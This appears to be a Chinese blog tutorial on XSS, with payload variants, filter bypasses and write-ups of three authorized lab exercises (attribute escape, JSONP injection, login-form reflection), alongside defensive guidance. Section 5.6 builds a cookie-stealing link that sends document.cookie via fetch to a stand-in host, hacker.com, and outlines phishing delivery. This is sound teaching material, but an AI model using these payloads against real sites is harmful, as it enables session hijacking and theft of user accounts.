news 2026/9/28 5:31:55

杂记07 XSS 跨站脚本攻击

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
杂记07 XSS 跨站脚本攻击

XSS 的本质只有一句话:浏览器把攻击者输入的"数据",当成了"代码"来执行。本文从基础概念讲到三个靶场实战:属性逃逸、JSONP 劫持、登录框反射型。

⚠️ 本文所有测试均在授权靶场中完成,仅用于安全学习与防御研究,请勿用于未授权目标。


一、XSS 基础

1.1 什么是 XSS

全称:Cross-Site Scripting(跨站脚本攻击)

原理:网站对用户输入的过滤不足,攻击者把恶意代码(通常是 JavaScript)注入到网页中。其他用户浏览这个页面时,嵌入其中的恶意代码就会被浏览器执行。

两个核心要素:

要素说明
用户输入不可信任何来自用户的内容都可能是攻击载荷
输出未经过滤数据被原样拼进 HTML,于是变成了代码

📌 和 SQL 注入对照着记:SQL 注入是让数据库把数据当命令执行,XSS 是让浏览器把数据当代码执行。病根完全一样——数据越界成了代码。

1.2 为什么缩写是 XSS 而不是 CSS

因为CSS 这个缩写已经被"层叠样式表"(Cascading Style Sheets)占用了。为了在书面表达上不混淆,安全领域把 Cross-Site Scripting 缩写为XSS。

1.3 三种主要类型

类型是否持久化触发条件典型场景
反射型❌ 非持久需要诱导受害者点击恶意链接搜索框、错误提示页、登录失败回显
存储型✅ 持久访问页面即触发,无需点击留言板、评论区、用户资料页
DOM 型❌ 非持久浏览器端 JS 处理数据时触发前端路由、动态渲染

逐条说明:

  • 反射型:恶意代码作为请求参数(如 URL 参数)发给服务器,服务器把它原样"反射"回响应页面。一次访问通常只影响一个用户。

  • 存储型:恶意代码被存进服务器(数据库、文件系统),所有访问该页面的用户都会中招,危害最大。

  • DOM 型:不经过服务器端解析,是浏览器 JS 动态修改 DOM 树造成的。详见第三章。

1.4 危害

  • 窃取用户 Cookie →账户劫持

  • 会话劫持(Session Hijacking)

  • 篡改网页内容(钓鱼、挂马)

  • 键盘记录、窃取隐私

  • 结合 XSS 发起 CSRF 攻击


二、常用 Payload 与变形

2.1<script>alert(1)</script>:最简单粗暴的明牌

翻译成大白话:"浏览器,立刻执行一段脚本,给我弹个写着 1 的框!"

片段作用
<script>HTML 的"代码执行区"入口,告诉浏览器接下来是代码而不是文字
alert(1)JS 最基础的弹窗命令,1是弹窗显示的内容
</script>代码执行区到此结束

打个比方:好比你去别人的留言板上留言,没写字,而是贴了张纸条写着"请朗读以下内容:啊!"。网站没做防护,下一个来看留言的人,浏览器读到纸条就乖乖念了出来。

2.2<img src=x onerror=alert(1)>:伪装成图片的陷阱

翻译成大白话:"浏览器兄弟,请你尝试加载一张名叫 x 的图片。如果找不到(肯定找不到),就立刻给我弹个框!"

片段作用
<img>网页里最普通、最无害的标签,防御系统常常对它放松警惕
src=x图片地址故意写成一个不存在的x,加载必然失败
onerror=alert(1)陷阱核心:onerror是"出错就执行"的事件,加载失败即触发

优势:不需要用户交互,而且在过滤了<script>标签的环境里依然有效。

2.3 常见变形

思路示例
换事件<svg onload=alert(1)>、<input autofocus onfocus=alert(1)>、<details open ontoggle=alert(1)>
伪协议<a href="javascript:alert(1)">click</a>
大小写混合<ScRiPt>alert(1)</ScRiPt>
URL 编码%3Cscript%3Ealert(1)%3C/script%3E
双写绕过<scr<script>ipt>alert(1)</script>
空格替代<img/src=x/onerror=alert(1)>(用/顶替空格)

💡 双写绕过的原理:过滤器只把<script>删除一次(非递归),所以<scr<script>ipt>删掉内层后正好拼回<script>。

⚠️alert(1)只用于验证漏洞是否存在,它本身不是攻击目标。真正的危害在第六章的"数据外带"。


三、DOM 型 XSS:Source 与 Sink

3.1 漏洞本质:从 Source 到 Sink 的无过滤传递

概念含义常见例子
Source(源)攻击者可控的数据入口location.hash、location.search、document.referrer、输入框
Sink(汇聚点)把数据当代码 / HTML 处理的地方innerHTML、document.write、eval、setTimeout(字符串)

一句话:漏洞 = Source 的数据,无过滤地流进了 Sink。

前端 JS 拼接字符串时,如果没有对用户输入做HTML 实体编码,浏览器就会把输入的"字符串"当成"HTML 代码"来解析。

3.2 攻击手法的演进

阶段手法示例对应防御
初级利用伪协议javascript:alert(1)只允许http://、https://开头的链接
进阶闭合标签注入"><img src=x onerror=alert(1)>对输入做 HTML 实体编码

3.3 为什么 DOM 型最隐蔽

危险逻辑全部在浏览器端执行,服务器可能只是收到一次普通请求:

  • 如果数据来自 URL 的#片段,连服务器都收不到(#后面的内容不会发送给服务器)

  • 服务器日志里看不到攻击特征 → 传统服务端 WAF 很难拦截


四、实战一:属性上下文逃逸

靶场提示:有的时候你需要闭合字符串才可以。

4.1 第一轮:直接注入,撞上防弹衣

提交最经典的 payload:

<img src=x onerror=alert(1)>

结果:没有弹窗,代码被当成普通文本原样显示在页面下方的留言区。

这说明有两种可能:

  1. 前端用了安全函数(innerText/textContent)来插入数据

  2. 输入被放进了某个标签的属性值里

抓包验证:输入被 URL 编码后(%3Cimg%20src...)发给服务器,服务器原封不动返回了这段文本。这说明漏洞点不在后端过滤,而在前端 JS 处理数据的方式上——典型的 DOM 型 XSS。

4.2 第二轮:用引号探测包裹方式

既然直接注入不行,说明前端代码大概长这样:

element.innerHTML = '<input value="' + userInput + '">'

要突破,就得先用特殊字符提前结束属性的引号。先试单引号:

'><img src=x onerror=alert(1)>

依然只显示为文本→ 说明前端是用双引号包裹的,单引号不匹配。

4.3 第三轮:换成双引号,成功破防

"><img src=x onerror=alert(1)>

浏览器解析到独立的<img>标签 → 尝试加载图片x失败 → 触发onerror→弹窗成功,拿到 Flag。

4.4 拼出来的 HTML 到底长什么样

假设前端代码是:

var html = '<input type="text" value="' + userInput + '">';

代入 payload 后,拼出的 HTML 变成:

<input type="text" value=""><img src=x onerror=alert(1)>">
片段干了什么
"闭合value属性的双引号
>闭合整个<input>标签
<img ...>逃出牢笼,成为独立的 HTML 标签
结尾的">变成无意义的残留文本,不影响执行

4.5 关键细节:闭合符必须与包裹引号配对

这是实战中最容易踩的坑:

属性写法正确的闭合符写错的后果
value="..."">用'>无效,'只是属性值里的普通字符
value='...''>用">无效

⚠️DevTools 的坑:开发者工具展示 DOM 时,会把属性统一显示成双引号,不管你源码里用的哪种。所以判断包裹方式要看服务器返回的原始源码(右键"查看网页源代码"),而不是 Elements 面板。

一个反例:如果模板是<a href="你的输入">testLink</a>,你输入'><img src=1 onerror=alert(1)>,拼出来是:

<a href="'><img src=1 onerror=alert(1)>">testLink</a>

单引号在双引号属性值内部只是普通字符,整个 payload 依然被关在href里,不会触发。

4.6 防御要点

措施说明
避开危险 Sink别用innerHTML/document.write渲染用户输入,改用textContent
用 DOM API 代替拼字符串createElement+setAttribute,而不是拼 HTML 字符串
上下文编码必须拼接时,按输出位置做实体编码("→&quot;、<→&lt;)

五、实战二:JSONP 跨域数据劫持

5.1 背景:同源策略的枷锁

概念说明
同源策略浏览器最核心的安全机制:a.com的网页不能读取b.com的数据。没有它,你逛淘宝时,淘宝网页就能偷读你网银的信息
跨域需求但开发中经常要跨域取数据,比如前端在a.com、API 在api.b.com
浏览器的"后门"同源策略限制的是 Ajax,但不限制<script>标签的src——互联网早期就是靠<script src="https://cdn.com/jquery.js">加载外部 JS 的

JSONP 的诞生:开发者灵机一动——既然<script>能跨域加载 JS 代码,那让服务器把数据伪装成 JS 代码返回不就行了?于是 JSONP(JSON with Padding)出现了。

5.2 正常工作时长什么样

假设a.com想拿b.com的用户数据,四步走:

第一步:前端先定义好回调函数

function handleData(data) { console.log("我拿到了数据:", data); }

第二步:动态创建<script>标签

<script src="https://b.com/api/getUser?callback=handleData"></script>

callback=handleData就是告诉服务器:"把数据用handleData()包起来再发给我!"

第三步:服务器拼接后返回

// b.com 返回的内容:不是纯 JSON,而是一段 JS handleData({"name": "Alice", "age": 18});

第四步:浏览器自动执行

<script>加载完会自动执行,正好调用了本地已定义好的handleData,数据成功跨域拿到。

5.3 漏洞成因

JSONP 有个致命缺陷:服务器极度信任callback参数和数据内容,并且用简单的字符串拼接。

一旦没有严格过滤,攻击者就能篡改这段拼接逻辑。

5.4 场景一:篡改 callback(最经典)

服务器代码:

return request.args.get('callback') + "(" + json_data + ")"

攻击者把 URL 改成:

https://b.com/api/getUser?callback=alert(1)//

服务器返回:

alert(1)//({"name": "Alice"})

浏览器执行时:先执行alert(1)弹窗,后面的//把剩余内容全部注释掉,避免语法错误。

5.5 场景二:篡改数据内容(本次靶场)

这次callback被固定为handleJsonpData,但user参数(数据内容)没有转义,直接拼进了 JSON。

服务器代码逻辑(类似 Flask):

user_input = request.args.get('user') ts = int(time.time() * 1000) return f'handleJsonpData({{"code": 200, "data": {{"username": "{user_input}"}}, "timestamp": {ts}}})'

输入 payload:

test"}, alert(1)//

拼接后返回:

handleJsonpData({"code": 200, "data": {"username": "test"}, alert(1)//", "timestamp": 1789912034165}})

越狱过程逐步拆解:

顺序字符作用
1"闭合"test"这个字符串
2}闭合data对象
3,为handleJsonpData提供第二个参数的分隔符
4alert(1)作为第二参数被求值执行
5//注释掉后面所有代码,保持语法完整

📌 注意:函数的参数在调用前就会被求值,所以alert(1)即使只是"一个参数",也一样会执行。

5.6 武器化:从弹窗到窃取 Cookie

真实攻击中不会手动去浏览器里敲代码,而是把漏洞变成一个恶意链接:

https://b.com/api/getUser?callback=handleJsonpData&user=test"},%20fetch('https://hacker.com/steal?cookie='+document.cookie)//

攻击步骤:

  1. 找接口:发现b.com某个 JSONP 接口存在漏洞

  2. 造链接:把alert换成窃取 Cookie 并外发的代码

  3. 诱导点击:通过钓鱼邮件、论坛发帖、聊天工具发给受害者,或嵌入恶意第三方网页

  4. 触发执行:受害者点开链接 / 打开恶意网页,浏览器自动请求该 URL 并执行返回的 JS

  5. 数据窃取:Cookie 被发送到攻击者服务器,攻击者据此登录受害者账户

5.7 防御要点

① 严格校验 callback 参数(白名单)

只允许字母、数字、下划线:

import re callback = request.args.get('callback') if not re.match(r'^[a-zA-Z0-9_]+$', callback): return "Invalid callback", 400

这样alert(1)、test"},这类含特殊字符的 payload 会直接被拒。

② 用标准库做 JSON 序列化,不要手拼字符串

import json data = {"username": user_input} safe_json = json.dumps(data) return f"handleJsonpData({safe_json})"

json.dumps()会自动把数据里的双引号转义成\",test"},会变成test\"},,无法逃逸出字符串。

③ 设置正确的响应头

Content-Type: application/javascript; charset=utf-8

防止浏览器把返回内容当成 HTML 解析(若按 HTML 解析,注入<img>也可能触发 XSS)。

④ 放弃 JSONP,改用 CORS

JSONP 已是过时技术。现代方案是CORS(跨域资源共享):通过 HTTP 头(如Access-Control-Allow-Origin)控制跨域权限,不需要把数据伪装成 JS,从根上避免了拼接带来的 XSS 风险。


六、实战三:登录框反射型 XSS

6.1 信息收集:从 SQL 注入尝试到发现回显

抓包分析:F12 的 Network 面板看到登录请求格式 ——POST /login,参数为username、password、captcha。

先试 SQL 注入:经典的万能密码' or 1=1 #失败了。这反过来说明后端可能用了参数化查询,或者对单引号做了转义 ——可以排除 SQL 注入了。

再试 XSS:在用户名框输入<script>alert(1)</script>,没有弹窗。但在响应包里发现了关键线索:输入被回显到了 HTML 的value属性中。

6.2 定位漏洞点

  • 回显机制:登录失败后,页面会"记住"你输入的用户名并填回输入框 —— 这是典型的反射型 XSS场景。

  • 防御观察:服务器把<和>转义成了&lt;和&gt;(HTML 实体编码),说明有基础防御。

  • 但是:双引号"没有被转义—— 这就是突破点。

6.3 上下文分析与逃逸

输入被放在<input value="你的输入">里,也就是HTML 属性上下文。要执行 JS,必须先"越狱"。

Payload:

"><img src=x onerror=alert(1)>

原理拆解:

片段作用
"闭合value属性的双引号
>闭合<input>标签
<img src=x onerror=...>注入独立的 HTML 标签,加载失败触发onerror

6.4 进阶利用:用 fetch 把数据带出来

拿到 XSS 后没有停在alert(1),而是继续窃取隐藏的 Flag:

"><img src=x onerror="alert(document.cookie);fetch('/flag').then(r=>r.text()).then(d=>alert(d))">
片段作用
alert(document.cookie)验证 XSS 执行成功,同时测试能否读取敏感 Cookie(没设 HttpOnly 就能劫持会话)
fetch('/flag')用 Fetch API 发起同源内部请求,读取只有特定权限才能访问的接口
.then(r => r.text())fetch返回的是 Promise,需要.then提取响应体文本
.then(d => alert(d))拿到数据后再弹窗显示

💡 这一步才是 XSS 的真正价值:从"弹个框证明存在"升级到"把数据偷出来"。

6.5 防御要点

措施说明
回显必须编码把用户输入写回 HTML 前做实体编码,"转成&quot;后">就失效了
敏感 Cookie 加 HttpOnly即使 XSS 成功,document.cookie也读不到会话 ID

七、XSS 防御总览

7.1 核心原则

永远不要信任用户的输入,对输出进行严格的上下文编码。输入验证是辅助,输出编码才是主力。

7.2 按输出位置选择编码方式

不同上下文的编码规则不同,这是最容易做错的地方:

输出位置示例编码要求
HTML 标签之间<div>用户输入</div>转义&、<、>、"、'
HTML 属性内<input value="用户输入">同上,且属性值必须加引号
JS 变量内var a = "用户输入";用 JSON 序列化,不要直接拼
URL 参数内<a href="/x?q=用户输入">做 URL 编码

Python 示例:

import html safe = html.escape(user_input) # " -> &quot; < -> &lt; > -> &gt; & -> &amp;

7.3 各项防御措施

措施说明定位
输出编码按上述上下文规则编码,浏览器只会把它当文本⭐最有效
输入验证白名单机制,如电话字段只允许数字辅助
HttpOnly CookieSet-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax,JS 读不到会话降低危害
CSP限制资源来源、不配置unsafe-inline(禁止内联脚本与内联事件)兜底
现代框架React / Vue / Angular 默认转义数据默认安全
避免危险 Sink少用innerHTML、document.write、eval治本

CSP 响应头示例:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

⚠️框架不是万能的:Vue 的v-html、React 的dangerouslySetInnerHTML都会绕过默认转义。名字里带dangerously不是开玩笑的。

7.4 一句话收尾

XSS 就是让浏览器把攻击者输入的"数据"当成了"代码"来执行。防御的核心,就是确保数据永远是数据。


八、总结与进阶路径

8.1 三个靶场串起来看

靶场考点逃逸手法
属性上下文逃逸闭合属性引号">+ 新标签
JSONP 劫持闭合 JS 字符串 / 对象"},+ 新语句 +//
登录框反射型闭合 HTML 属性">+ 新标签 +fetch外带

共同套路:找到输入落点 → 判断包裹字符 → 闭合逃逸 → 注入代码 → 数据外带。

🚀最后提醒:XSS 的三种类型触发方式不同,但利用思路是相通的——找到数据变成代码的那一刻。把"找落点 → 判断上下文 → 闭合逃逸"这条主线吃透,遇到新场景只需换 payload。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/28 5:31:11

基于SSM+JSP+MySQL的健身俱乐部网站毕业设计:搭建到答辩全攻略

简介&#xff1a;一套基于SSMMySQL架构的健身俱乐部网站完整毕业设计资源&#xff0c;面向计算机相关专业毕业生、课程设计及需要项目实战的Java学习者。项目核心覆盖管理员与用户两大模块&#xff0c;包括课程种类、教练、课程、器材管理、教室安排&#xff0c;以及用户端课程…

作者头像 李华
网站建设 2026/9/28 5:31:11

EOS 8.3.3流程表单下拉联动暂存后字典不翻译的根因与解决

1. 问题现场&#xff1a;A选完B没翻译&#xff0c;这个“小毛病”折腾了一下午各位做普元EOS开发的朋友&#xff0c;尤其是从8.x版本一路用过来的老伙计&#xff0c;肯定对这种场景不陌生&#xff1a;流程表单里放两个下拉选择组件&#xff0c;A和B&#xff0c;数据源都挂的业务…

作者头像 李华
网站建设 2026/9/28 5:31:11

木马排查与应急响应实战:从webshell查杀到内网攻防防护

半夜两点被值班电话叫醒&#xff0c;说网站页面全部变成了乱码&#xff0c;数据库被人写了“到此一游”&#xff0c;登录后台一看&#xff0c;多了一个从未见过的管理员账号。这种场景&#xff0c;做过运维和安全的人都不陌生&#xff1a;中木马了。更麻烦的是&#xff0c;很多…

作者头像 李华
网站建设 2026/9/28 5:31:04

从Keil MDK到STM32Cube IDE:HAL库项目迁移全指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/28 5:30:34

(thrombin receptor agonist)

基本性质中文名称&#xff1a;丝 - 苯丙 - 亮 - 亮 - 精 - 天冬酰胺 - 脯 - 天冬酰胺 - 天冬 - 赖 - 酪 - 谷 - 脯 - 苯丙氨酸&#xff08;凝血酶受体激动肽&#xff0c;TRAP 相关多肽&#xff09;单字母序列&#xff1a;S-F-L-L-R-N-P-N-D-K-Y-E-P-F三字母序列&#xff1a;Ser…

作者头像 李华
网站建设 2026/9/28 5:30:21

前端浏览器兼容性实战:从特性检测到构建降级,避免线上白屏

浏览器兼容性这词看着像老生常谈&#xff0c;但真踩过坑的人都知道&#xff0c;它压根不是什么“技术问题”&#xff0c;而是实打实的“成本问题”。上个月我帮朋友排查一个线上订单页的bug&#xff0c;现象很诡异&#xff1a;用户在PC端Chrome里操作一切正常&#xff0c;一到手…

作者头像 李华